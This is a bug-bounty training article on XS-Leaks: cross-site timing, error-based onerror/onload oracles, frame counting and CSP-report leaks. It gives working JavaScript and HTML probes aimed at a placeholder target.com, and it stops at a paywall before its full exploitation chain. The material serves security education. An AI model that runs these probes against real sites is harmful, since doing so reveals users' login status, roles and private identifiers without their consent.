Advanced levelPremium

XS-Leaks — cross-site timing attacks, error-based leaks, frame-counting

XS-Leaks techniques 2026: timing attacks with performance.now(), error-based leaks via tag onerror/onload, frame-counting with CSP violations, ID-based leaks via element selector and storage timing.

Gorka El BochiMay 11, 202616 min

Quick answer

XS-Leaks are side channels that let you read binary or small information about a victim logged into another origin — without needing XSS, without directly circumventing SOP. They rely on differences observable from a page that only embeds cross-origin content: load times, parse errors, number of frames, fired events. Useful to detect whether the victim is logged in, whether they're an admin, whether they have a certain role, or to leak IDs one bit at a time.


The threat model

The attacker:

  1. Hosts attacker.com.
  2. The victim visits attacker.com (phishing, ads, click-through).
  3. The attacker embeds / fetches target.com cross-origin.
  4. The attacker observes browser side channels to infer data.

Modern mitigations: COOP, COEP, CORP, SameSite=Lax by default. But many endpoints are still leakable because the mitigation applies to top-level pages, not the universe of subresources.


Channel 1 — Timing attacks with performance.now()

The most universal. It measures how long a cross-origin resource takes to load. Differences of 20-100ms are usually observable.

Basic setup

javascript
async function timeFetch(url) {
  const start = performance.now();
  await fetch(url, { mode: 'no-cors', credentials: 'include' });
  return performance.now() - start;
}

const tLogged    = await timeFetch('https://target.com/api/me');
const tSomething = await timeFetch('https://target.com/api/admin-only');

// Si tSomething < tLogged significativamente, admin-only retornó rápido (403)
// Si son similares, retornó datos (admin)

Classic endpoints leakable by timing

EndpointObservable difference
Search with a term that exists vs one that doesn'tSQL query time
/admin/dashboard vs /admin/non-existent200 vs 404
Email reset with an existing email vs notEmail send delay
Endpoint with cache HIT vs MISSCache latency
Endpoint with N rows (pagination)Render time

Anti-timing-detection: use cache eviction

If the browser caches the responses, the second request is ~0ms. To avoid it:

javascript
const url = `https://target.com/api/me?bust=${Math.random()}`;

And measure multiple times to average out network jitter.


Channel 2 — Error-based leaks

Some cross-origin resources fire onerror / onload on <script>, <img>, <link> depending on the response. Although you can't read the content, you can detect whether the response was 200, 404, parseable or not.

Script tag onerror/onload differential

html
<script src="https://target.com/api/private/secret-id-12345"
        onload="known()" onerror="notFound()"></script>
  • If the endpoint returns valid JS (200, content-type js) → onload.
  • If it returns 404 → onerror.
  • If it returns invalid JSON as JS → onerror.

It gives an oracle: "does ID 12345 exist in the target for this user?"

Image dimensions leak

javascript
const img = new Image();
img.onload = () => console.log(img.naturalWidth, img.naturalHeight);
img.src = 'https://target.com/avatar/admin';

If admin avatars have a different size than regular ones → leak.

CSS load differential

html
<link rel="stylesheet" href="https://target.com/themes/admin.css"
      onload="isAdmin()" onerror="notAdmin()">

CSS dynamically generated by user state → now detectable.


Channel 3 — Frame counting

Until recently, window.length (the number of iframes in a page) was leakable cross-origin if you embedded the page. Mitigated in modern browsers via COOP, but it still works against apps without COOP.

javascript
const w = window.open('https://target.com/dashboard');
setTimeout(() => {
  console.log(w.length); // Número de iframes en el dashboard
  // Apps que tienen iframes condicionales (e.g., "Admin panel" solo para admins) leakan rol
  w.close();
}, 2000);

Variant with <object> or <iframe> + onload

If the browser blocks the load due to X-Frame-Options: DENY, it fires onerror; if not, onload:

html
<iframe src="https://target.com/admin" onload="canFrame()" onerror="cannotFrame()"></iframe>

X-Frame-Options may be set conditionally by the server (some apps emit it only for protected pages) → direct leak of auth state.


Channel 4 — CSP violation reports (the premium)

CSP report endpoints are one of the cleanest and least patched XS-Leaks. If the attacker hosts a page with a CSP that points the report-uri at their own endpoint, any CSP violation generated by loading cross-origin content is reported to the attacker.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Xs Leaks Timing

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

2,482

hunters training

62

labs from real hacks

1,629

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy